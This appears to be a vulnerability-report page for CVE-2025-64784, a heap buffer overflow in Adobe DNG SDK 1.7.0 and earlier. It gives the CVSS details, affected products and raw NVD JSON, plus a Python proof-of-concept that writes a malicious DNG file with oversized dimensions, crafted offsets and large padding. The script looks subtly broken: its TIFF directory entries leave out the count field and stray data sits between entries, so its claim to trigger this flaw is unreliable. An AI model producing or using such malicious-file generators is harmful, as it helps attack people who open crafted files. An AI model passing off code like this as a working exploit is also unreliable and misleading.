Security Vulnerability Report
中文
CVE-2025-64784 CVSS 7.1 HIGH

CVE-2025-64784

Published: 2025-12-09 18:16:08
Last Modified: 2025-12-10 16:03:18

Description

DNG SDK versions 1.7.0 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could lead to memory exposure or application denial of service. An attacker could leverage this vulnerability to disclose sensitive memory information. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:dng_software_development_kit:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe DNG SDK <= 1.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-64784 PoC - Adobe DNG SDK Heap Buffer Overflow This PoC generates a malicious DNG file to trigger heap buffer overflow. Note: This is for educational and security research purposes only. """ import struct import os def create_malicious_dng(): """Generate a malicious DNG file to trigger buffer overflow in DNG SDK""" # DNG file header (TIFF format) dng_header = bytearray() # Byte order mark (little-endian) dng_header.extend(b'II') # TIFF magic number (42) dng_header.extend(struct.pack('<H', 42)) # First IFD offset ifd_offset = 8 dng_header.extend(struct.pack('<I', ifd_offset)) # IFD header num_entries = 8 dng_header.extend(struct.pack('<H', num_entries)) # Craft malicious TIFF tags to trigger overflow # NewSubfileType dng_header.extend(struct.pack('<HHI', 254, 4, 0)) # ImageWidth - malicious large value dng_header.extend(struct.pack('<HHI', 256, 4, 0x7FFFFFFF)) # ImageLength - malicious large value dng_header.extend(struct.pack('<HHI', 257, 4, 0x7FFFFFFF)) # BitsPerSample dng_header.extend(struct.pack('<HHI', 258, 3, len(dng_header) + 24)) # Compression - uncompressed dng_header.extend(struct.pack('<HHI', 259, 3, 1)) # Make - Adobe dng_header.extend(b'Adobe\x00\x00\x00') make_offset = len(dng_header) - 8 dng_header.extend(struct.pack('<HHI', 271, 2, make_offset)) # StripOffsets - malicious offset values strip_offset = len(dng_header) + 24 dng_header.extend(struct.pack('<HHI', 273, 4, strip_offset)) # SamplesPerPixel dng_header.extend(struct.pack('<HHI', 277, 3, 1)) # Add padding data to trigger overflow padding_size = 0x10000 # Large padding to trigger overflow padding = b'\x41' * padding_size dng_header.extend(padding) # Write malicious DNG file output_file = 'CVE-2025-64784_malicious.dng' with open(output_file, 'wb') as f: f.write(dng_header) print(f'[+] Malicious DNG file created: {output_file}') print(f'[+] File size: {len(dng_header)} bytes') print('[!] This file is designed to trigger CVE-2025-64784') print('[!] Do not open this file in production environments') return output_file if __name__ == '__main__': create_malicious_dng()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64784", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:07.640", "lastModified": "2025-12-10T16:03:18.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "DNG SDK versions 1.7.0 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could lead to memory exposure or application denial of service. An attacker could leverage this vulnerability to disclose sensitive memory information. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:dng_software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.7.0", "matchCriteriaId": "8A37E544-82AE-4E72-BA5D-A8C98061CEF8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/dng-sdk/apsb25-118.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}